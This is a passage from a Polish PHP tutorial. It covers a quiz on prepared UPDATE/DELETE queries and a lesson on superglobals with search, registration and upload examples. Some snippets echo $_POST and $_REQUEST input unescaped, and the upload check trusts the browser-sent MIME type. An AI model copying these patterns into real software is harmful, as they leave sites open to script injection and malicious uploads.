<span class="token variable">$zapytanie</span> <span class="token operator">=</span> <span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'UPDATE uzytkownicy SET xp = xp + ? WHERE id = ?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'ii'</span><span class="token punctuation">,</span> <span class="token variable">$premia</span><span class="token punctuation">,</span> <span class="token variable">$uzytkownikId</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">execute</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token function">var_dump</span><span class="token punctuation">(</span><span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token property">affected_rows</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
</li>
<li dir="auto" data-line="11">
<p>Kolega usuwa zadanie tak:</p>
<pre class="language-php"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token variable">$zapytanie</span> <span class="token operator">=</span> <span class="token variable">$polaczenie</span><span class="token operator">-&gt;</span><span class="token function">prepare</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'DELETE FROM zadania WHERE id = ?'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token variable">$zapytanie</span><span class="token operator">-&gt;</span><span class="token function">bind_param</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'i'</span><span class="token punctuation">,</span> <span class="token variable">$id</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
</code></pre>
<p><code class="prettyprint lang-sql" style="font-size: 0.85em;">$id</code>&nbsp;przychodzi z ukrytego pola formularza. Zapytanie jest przygotowane, więc SQL injection nie grozi. Co mimo to jest tu błędem i jak to naprawić?</p>
</li>
<li dir="auto" data-line="20">
<p>Dlaczego&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', 5, $uzytkownikId)</code>&nbsp;kończy się błędem, a&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param('ii', $premia, $uzytkownikId)</code>&nbsp;już nie?</p>
</li>
<li dir="auto" data-line="22">
<p>Który krok znany z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code>&nbsp;odpada przy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>? Czym zastępujemy sprawdzenie wyniku?</p>
</li>
<li dir="auto" data-line="24">
<p>Dlaczego XP przyznajemy tylko wtedy, gdy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>&nbsp;po zapytaniu</p>
<pre class="language-sql"><code class="prettyprint lang-sql" style="font-size: 0.85em;"><span class="token keyword">UPDATE</span> zadania <span class="token keyword">SET</span> data_wykonania <span class="token operator">=</span> CURDATE<span class="token punctuation">(</span><span class="token punctuation">)</span>
<span class="token keyword">WHERE</span> id <span class="token operator">=</span> ? <span class="token operator">AND</span> uzytkownik_id <span class="token operator">=</span> ? <span class="token operator">AND</span> data_wykonania <span class="token operator">IS</span> <span class="token boolean">NULL</span>
</code></pre>
<p>wynosi 1, zamiast najpierw wczytać zadanie i sprawdzić w PHP&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!$zadanie-&gt;czyWykonane())</code>?</p>
</li>
<li dir="auto" data-line="33">
<p><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>&nbsp;po udanym zapisie wywołuje&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: index.php'); exit;</code>. Co zobaczyłby gracz, gdyby zamiast tego skrypt wypisał „Dodano zadanie” i gracz nacisnął F5?</p>
</li>
</ol>
</div>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<div class="el-ol">
<ol>
<li dir="auto" data-line="0"><code class="prettyprint lang-sql" style="font-size: 0.85em;">int(0)</code>. Wiersz pasuje do&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code>, ale&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">xp + 0</code>&nbsp;to ta sama wartość, więc nic się nie zmieniło.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>&nbsp;przy&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>&nbsp;liczy wiersze&nbsp;<strong>zmienione</strong>, nie pasujące.</li>
<li dir="auto" data-line="1">Brakuje warunku na właściciela:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE id = ? AND uzytkownik_id = ?</code>&nbsp;z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['uzytkownik_id']</code>. Ukryte pole formularza może podmienić każdy (F12), więc bez tego warunku gracz usunie cudze zadanie. To nie SQL injection, tylko brak sprawdzenia uprawnień — prepared statement przed tym nie chroni.</li>
<li dir="auto" data-line="2"><code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>&nbsp;przyjmuje argumenty przez referencję, czyli tylko&nbsp;<strong>zmienne</strong>. Stała&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>&nbsp;nie ma adresu w pamięci, który można przekazać — stąd&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">Error: ... could not be passed by reference</code>. Wartość trzeba najpierw zapisać w zmiennej.</li>
<li dir="auto" data-line="3">Odpada&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>&nbsp;—&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>&nbsp;nie zwracają wierszy. Efekt sprawdzamy przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zapytanie-&gt;affected_rows</code>&nbsp;(a po&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>&nbsp;dodatkowo&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">insert_id</code>).</li>
<li dir="auto" data-line="4">Bo między odczytem a zapisem może wejść drugie żądanie (dwie karty, podwójne kliknięcie). Oba przeszłyby przez&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>&nbsp;i oba dodałyby XP. Warunek&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania IS NULL</code>&nbsp;wewnątrz&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">UPDATE</code>&nbsp;sprawia, że tylko jedno żądanie rzeczywiście zmieni wiersz i dostanie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">affected_rows</code>&nbsp;równe 1.</li>
<li dir="auto" data-line="5">Przeglądarka zapytałaby o ponowne wysłanie danych formularza i po potwierdzeniu wykonałaby ten sam&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code>&nbsp;jeszcze raz — powstałyby duplikaty zadania. Wzorzec POST → przekierowanie → GET sprawia, że F5 odświeża tylko&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ol>
</div>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="http://dodatek">Dodatek</a></p>



<p><strong>Superglobals</strong> (superzmienne globalne) to specjalne wbudowane tablice w PHP, które są <strong>automatycznie dostępne w każdym  zakresie</strong> (scope) &#8211; w funkcjach, metodach, klasach i skryptach.</p>
<p>Nie musisz ich deklarować ani importować za pomocą słowa kluczowego <code class="prettyprint lang-sql" style="font-size: 0.85em;">global</code>.</p>
<p>Poznaliśmy już tablice $_GET, $_POST, $_SESSION i $_COOKIE. </p>
<p><strong>UWAGA</strong>: <strong>ZAWSZE waliduj dane</strong> &#8211; nigdy nie ufaj danym od użytkownika</p>



<h2 class="wp-block-heading">Lista wszystkich Superglobals w PHP</h2>



<p class="wp-block-paragraph">PHP udostępnia&nbsp;<strong>9 superglobalnych tablic</strong>:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Superglobal</th><th>Zastosowanie</th><th>Kiedy używać</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code></td><td>Dane z URL (query string)</td><td>Parametry URL, linki, wyszukiwanie</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code></td><td>Dane z formularzy POST</td><td>Formularze, logowanie, rejestracja</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_REQUEST</code></td><td>Dane z GET, POST i COOKIE</td><td>Rzadko &#8211; lepiej używać&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>&nbsp;lub&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code></td><td>Przesłane pliki</td><td>Upload plików, zdjęć, dokumentów</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION</code></td><td>Dane sesji użytkownika</td><td>Przechowywanie stanu zalogowania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code></td><td>Cookies przeglądarki</td><td>Zapamiętywanie preferencji użytkownika</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SERVER</code></td><td>Informacje o serwerze i żądaniu</td><td>Adres IP, user agent, ścieżki</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_ENV</code></td><td>Zmienne środowiskowe</td><td>Konfiguracja, dane wrażliwe</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$GLOBALS</code></td><td>Wszystkie zmienne globalne</td><td>Dostęp do zmiennych globalnych</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">1. $_GET &#8211; Dane z URL (Query String)</h2>



<p class="wp-block-paragraph">Dane są przekazywane w adresie URL po znaku&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>&nbsp;w formacie&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">klucz=wartość</code>, oddzielone znakiem&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">&amp;</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=5&amp;username=ProGamer&amp;sort=level</code></pre>



<h3 class="wp-block-heading">Odczytywanie danych z $_GET</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// profil.php

// Sprawdzamy czy parametr istnieje
if (isset($_GET&#91;'id'])) {
    $player_id = (int)$_GET&#91;'id']; // Rzutowanie na int dla bezpieczeństwa
    echo "ID gracza: {$player_id}&lt;br&gt;";
} else {
    echo "Brak parametru ID w URL&lt;br&gt;";
}

// Operator null coalescing (PHP 7+)
$username = $_GET&#91;'username'] ?? 'Nieznany';
$sort = $_GET&#91;'sort'] ?? 'id';

echo "Username: {$username}&lt;br&gt;";
echo "Sortowanie: {$sort}&lt;br&gt;";

// Wyświetl wszystkie parametry GET
echo "&lt;pre&gt;";
print_r($_GET);
echo "&lt;/pre&gt;";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>Wyjście dla URL&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">profil.php?id=5&amp;username=ProGamer&amp;sort=level</code>:</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">ID gracza: 5
Username: ProGamer
Sortowanie: level

Array
(
    &#91;id] =&gt; 5
    &#91;username] =&gt; ProGamer
    &#91;sort] =&gt; level
)</code></pre>



<h3 class="wp-block-heading">Przykład 1: Wyszukiwarka z parametrami GET</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

// Pobieramy parametry z URL
if ($_SERVER&#91;'REQUEST_METHOD'] === 'GET' &amp;&amp; isset($_GET&#91;'q'])) {
    $search_query = trim($_GET&#91;'q']);
    $min_level = (int)($_GET&#91;'min_level'] ?? 0);
    $rank = $_GET&#91;'rank'] ?? '';
    
    if (!empty($search_query)) {
        
        // Budujemy zapytanie dynamicznie
        $sql = "SELECT * FROM players WHERE (username LIKE ? OR email LIKE ?)";
        $params = &#91;"%{$search_query}%", "%{$search_query}%"];
        $types = "ss";
        
        if ($min_level &gt; 0) {
            $sql .= " AND level &gt;= ?";
            $types .= "i";
            $params&#91;] = $min_level;
        }
        
        if (!empty($rank)) {
            $sql .= " AND rank_name = ?";
            $types .= "s";
            $params&#91;] = $rank;
        }
        
        $sql .= " ORDER BY level DESC LIMIT 20";
        
        $stmt = $db-&gt;prepare($sql);
        $stmt-&gt;bind_param($types, ...$params);
        $stmt-&gt;execute();
        $wynik = $stmt-&gt;get_result();
        
        $safe_query = htmlspecialchars($search_query);
        echo "&lt;h2&gt;Wyniki wyszukiwania dla: \"{$safe_query}\"&lt;/h2&gt;";
        
        if ($wynik-&gt;num_rows &gt; 0) {
            echo "&lt;p&gt;Znaleziono: {$wynik-&gt;num_rows} graczy&lt;/p&gt;";
            
            while ($gracz = $wynik-&gt;fetch_assoc()) {
                $username = htmlspecialchars($gracz&#91;'username']);
                echo "&lt;div style='background:#f4f4f4; padding:10px; margin:5px 0;'&gt;";
                echo "&lt;strong&gt;{$username}&lt;/strong&gt; - Level: {$gracz&#91;'level']}, Rank: {$gracz&#91;'rank_name']}&lt;br&gt;";
                echo "&lt;a href='profil.php?id={$gracz&#91;'id']}'&gt;Zobacz profil&lt;/a&gt;";
                echo "&lt;/div&gt;";
            }
        } else {
            echo "&lt;p&gt;Nie znaleziono graczy&lt;/p&gt;";
        }
        
        $stmt-&gt;close();
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Wyszukiwarka graczy&lt;/title&gt;
    &lt;style&gt;
        body {
            font-family: Arial, sans-serif;
            max-width: 800px;
            margin: 50px auto;
            padding: 20px;
        }
        .search-form {
            background: #f4f4f4;
            padding: 20px;
            border-radius: 5px;
            margin-bottom: 30px;
        }
        input, select {
            padding: 10px;
            margin: 5px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        button {
            padding: 10px 20px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h1&gt;Wyszukiwarka graczy&lt;/h1&gt;

&lt;form method="GET" class="search-form"&gt;
    &lt;input type="text" 
           name="q" 
           placeholder="Wpisz nick lub email" 
           value="&lt;?= htmlspecialchars($_GET&#91;'q'] ?? '') ?&gt;"
           required&gt;
    
    &lt;input type="number" 
           name="min_level" 
           placeholder="Min. poziom"
           min="1"
           value="&lt;?= htmlspecialchars($_GET&#91;'min_level'] ?? '') ?&gt;"&gt;
    
    &lt;select name="rank"&gt;
        &lt;option value=""&gt;Wszystkie rangi&lt;/option&gt;
        &lt;option value="Bronze" &lt;?= ($_GET&#91;'rank'] ?? '') == 'Bronze' ? 'selected' : '' ?&gt;&gt;Bronze&lt;/option&gt;
        &lt;option value="Silver" &lt;?= ($_GET&#91;'rank'] ?? '') == 'Silver' ? 'selected' : '' ?&gt;&gt;Silver&lt;/option&gt;
        &lt;option value="Gold" &lt;?= ($_GET&#91;'rank'] ?? '') == 'Gold' ? 'selected' : '' ?&gt;&gt;Gold&lt;/option&gt;
        &lt;option value="Diamond" &lt;?= ($_GET&#91;'rank'] ?? '') == 'Diamond' ? 'selected' : '' ?&gt;&gt;Diamond&lt;/option&gt;
    &lt;/select&gt;
    
    &lt;button type="submit"&gt;Szukaj&lt;/button&gt;
&lt;/form&gt;

&lt;p&gt;&lt;small&gt;Przykłady wyszukiwań:&lt;/small&gt;&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;&lt;a href="?q=Pro"&gt;?q=Pro&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="?q=Gamer&amp;min_level=20"&gt;?q=Gamer&amp;min_level=20&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="?q=Test&amp;rank=Gold"&gt;?q=Test&amp;rank=Gold&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Kiedy używać $_GET?</h3>



<ul class="wp-block-list">
<li>Wyszukiwanie i filtrowanie</li>



<li>Paginacja (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?page=2</code>)</li>



<li>Sortowanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?sort=date&amp;order=desc</code>)</li>



<li>Linki do konkretnych zasobów (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?id=123</code>)</li>



<li>Parametry, które użytkownik może udostępnić (share)</li>
</ul>



<h3 class="wp-block-heading">Nie stosujemy do:</h3>



<ul class="wp-block-list">
<li>Haseł i danych wrażliwych (widoczne w URL!)</li>



<li>Modyfikacji danych w bazie (INSERT, UPDATE, DELETE)</li>



<li>Dużych ilości danych (limit ~2000 znaków)</li>
</ul>



<h2 class="wp-block-heading">2. $_POST &#8211; Dane z formularzy POST</h2>



<p class="wp-block-paragraph">Dane są wysyłane w ciele żądania HTTP (nie w URL), więc są&nbsp;<strong>niewidoczne</strong>&nbsp;dla użytkownika.</p>



<h3 class="wp-block-heading">Odczytywanie danych z $_POST</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Sprawdzamy czy pole istnieje
    if (isset($_POST&#91;'username'])) {
        $username = trim($_POST&#91;'username']);
        echo "Username: {$username}&lt;br&gt;";
    }
    
    // Operator null coalescing
    $email = trim($_POST&#91;'email'] ?? '');
    $age = (int)($_POST&#91;'age'] ?? 0);
    
    echo "Email: {$email}&lt;br&gt;";
    echo "Wiek: {$age}&lt;br&gt;";
    
    // Wyświetl wszystkie dane POST
    echo "&lt;pre&gt;";
    print_r($_POST);
    echo "&lt;/pre&gt;";
}
?&gt;</code></pre>



<h3 class="wp-block-heading">Formularz rejestracji z walidacją</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db-&gt;connect_error) {
    die('Błąd połączenia');
}

$db-&gt;set_charset('utf8mb4');

$errors = &#91;];

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    
    // Pobieramy wszystkie dane z formularza
    $username = trim($_POST&#91;'username'] ?? '');
    $email = trim($_POST&#91;'email'] ?? '');
    $password = $_POST&#91;'password'] ?? '';
    $password_confirm = $_POST&#91;'password_confirm'] ?? '';
    $age = (int)($_POST&#91;'age'] ?? 0);
    $terms = isset($_POST&#91;'terms']) ? 1 : 0; // Checkbox
    
    // Walidacja
    if (empty($username)) {
        $errors&#91;] = "Username jest wymagany";
    } elseif (strlen($username) &lt; 3) {
        $errors&#91;] = "Username musi mieć min. 3 znaki";
    }
    
    if (empty($email)) {
        $errors&#91;] = "Email jest wymagany";
    } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
        $errors&#91;] = "Nieprawidłowy format email";
    }
    
    if (empty($password)) {
        $errors&#91;] = "Hasło jest wymagane";
    } elseif (strlen($password) &lt; 8) {
        $errors&#91;] = "Hasło musi mieć min. 8 znaków";
    }
    
    if ($password !== $password_confirm) {
        $errors&#91;] = "Hasła nie są identyczne";
    }
    
    if ($age &lt; 13) {
        $errors&#91;] = "Musisz mieć co najmniej 13 lat";
    }
    
    if (!$terms) {
        $errors&#91;] = "Musisz zaakceptować regulamin";
    }
    
    // Jeśli brak błędów - zapisujemy
    if (empty($errors)) {
        
        // Sprawdzamy czy username już istnieje
        $stmt = $db-&gt;prepare("SELECT id FROM users WHERE username = ?");
        $stmt-&gt;bind_param("s", $username);
        $stmt-&gt;execute();
        $stmt-&gt;store_result();
        
        if ($stmt-&gt;num_rows &gt; 0) {
            $errors&#91;] = "Username '{$username}' jest już zajęty";
        }
        $stmt-&gt;close();
        
        if (empty($errors)) {
            $password_hash = password_hash($password, PASSWORD_DEFAULT);
            
            $stmt = $db-&gt;prepare("INSERT INTO users (username, email, password, age, created_at) VALUES (?, ?, ?, ?, NOW())");
            $stmt-&gt;bind_param("sssi", $username, $email, $password_hash, $age);
            
            if ($stmt-&gt;execute()) {
                $new_user_id = $stmt-&gt;insert_id;
                
                $stmt-&gt;close();
                $db-&gt;close();
                
                $_SESSION&#91;'registration_success'] = "Konto utworzone pomyślnie!";
                
                header("Location: logowanie.php");
                exit;
            } else {
                $errors&#91;] = "Błąd podczas rejestracji";
            }
            
            $stmt-&gt;close();
        }
    }
}

$db-&gt;close();
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html lang="pl"&gt;
&lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;title&gt;Rejestracja&lt;/title&gt;
    &lt;style&gt;
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 500px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input&#91;type="text"],
        input&#91;type="email"],
        input&#91;type="password"],
        input&#91;type="number"] {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        .checkbox-group {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .checkbox-group input&#91;type="checkbox"] {
            width: 20px;
            height: 20px;
            cursor: pointer;
        }
        .checkbox-group label {
            margin: 0;
            cursor: pointer;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .error ul {
            margin-left: 20px;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;div class="container"&gt;
    &lt;h1&gt;Rejestracja&lt;/h1&gt;
    
    &lt;?php if (!empty($errors)): ?&gt;
        &lt;div class="error"&gt;
            &lt;strong&gt;Błędy walidacji:&lt;/strong&gt;
            &lt;ul&gt;
                &lt;?php foreach ($errors as $error): ?&gt;
                    &lt;li&gt;&lt;?= htmlspecialchars($error) ?&gt;&lt;/li&gt;
                &lt;?php endforeach; ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
    &lt;?php endif; ?&gt;
    
    &lt;form method="POST"&gt;
        &lt;div class="form-group"&gt;
            &lt;label&gt;Username:&lt;/label&gt;
            &lt;input type="text" 
                   name="username" 
                   value="&lt;?= htmlspecialchars($_POST&#91;'username'] ?? '') ?&gt;"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Email:&lt;/label&gt;
            &lt;input type="email" 
                   name="email"
                   value="&lt;?= htmlspecialchars($_POST&#91;'email'] ?? '') ?&gt;"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Hasło:&lt;/label&gt;
            &lt;input type="password" 
                   name="password"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Powtórz hasło:&lt;/label&gt;
            &lt;input type="password" 
                   name="password_confirm"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;label&gt;Wiek:&lt;/label&gt;
            &lt;input type="number" 
                   name="age"
                   min="13"
                   max="120"
                   value="&lt;?= htmlspecialchars($_POST&#91;'age'] ?? '') ?&gt;"
                   required&gt;
        &lt;/div&gt;
        
        &lt;div class="form-group"&gt;
            &lt;div class="checkbox-group"&gt;
                &lt;input type="checkbox" 
                       name="terms" 
                       id="terms"
                       &lt;?= isset($_POST&#91;'terms']) ? 'checked' : '' ?&gt;
                       required&gt;
                &lt;label for="terms"&gt;Akceptuję regulamin&lt;/label&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        
        &lt;button type="submit"&gt;Zarejestruj się&lt;/button&gt;
    &lt;/form&gt;
&lt;/div&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>



<h3 class="wp-block-heading">Kiedy używać $_POST?</h3>



<ul class="wp-block-list">
<li>Logowanie i rejestracja</li>



<li>Formularze kontaktowe</li>



<li>Modyfikacja danych (INSERT, UPDATE, DELETE)</li>



<li>Przesyłanie dużych ilości danych</li>



<li>Dane wrażliwe (hasła, dane osobowe)</li>
</ul>



<h3 class="wp-block-heading"><strong>Złe zastosowania:</strong></h3>



<ul class="wp-block-list">
<li>Wyszukiwanie (lepiej GET &#8211; możliwość udostępnienia linku)</li>



<li>Linki do konkretnych stron (GET jest lepsze)</li>
</ul>



<h2 class="wp-block-heading">$_REQUEST &#8211; Połączenie GET, POST i COOKIE</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_REQUEST</code>&nbsp;zawiera dane z&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>&nbsp;i&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code>.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Przykład: odbiera dane zarówno z GET jak i POST
$search = $_REQUEST&#91;'search'] ?? '';

echo "Wartość search: {$search}";
?&gt;</code></pre>



<p class="wp-block-paragraph"><strong>UWAGA:</strong>&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_REQUEST</code>&nbsp;jest&nbsp;<strong>niezalecany</strong>&nbsp;ze względów bezpieczeństwa. Lepiej użyć konkretnej tablicy (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code>&nbsp;lub&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>).</p>



<h2 class="wp-block-heading">4. $_FILES &#8211; Przesyłanie plików</h2>



<h3 class="wp-block-heading">Struktura $_FILES</h3>



<p class="wp-block-paragraph">Gdy użytkownik wysyła plik, PHP automatycznie wypełnia tablicę&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_FILES&#91;'nazwa_pola'] = &#91;
    'name' =&gt; 'oryginalnanazwa.jpg',      // Nazwa pliku
    'type' =&gt; 'image/jpeg',               // Typ MIME
    'tmp_name' =&gt; '/tmp/phpXXXXXX',       // Tymczasowa lokalizacja
    'error' =&gt; 0,                         // Kod błędu (0 = OK)
    'size' =&gt; 245678                      // Rozmiar w bajtach
];</code></pre>



<h2 class="wp-block-heading">Przykład 3: Upload zdjęcia profilowego</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
session_start();

$errors = &#91;];
$success = false;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST' &amp;&amp; isset($_FILES&#91;'avatar'])) {
    
    $file = $_FILES&#91;'avatar'];
    
    // Sprawdzamy czy nie ma błędu uploadu
    if ($file&#91;'error'] !== UPLOAD_ERR_OK) {
        $errors&#91;] = "Błąd podczas uploadu pliku (kod: {$file&#91;'error']})";
    } else {
        
        // Walidacja rozmiaru (max 2MB)
        $max_size = 2 * 1024 * 1024; // 2MB w bajtach
        if ($file&#91;'size'] &gt; $max_size) {
            $errors&#91;] = "Plik jest za duży (max 2MB)";
        }
        
        // Walidacja typu pliku
        $allowed_types = &#91;'image/jpeg', 'image/png', 'image/gif'];
        if (!in_array($file&#91;'type'], $allowed_types)) {
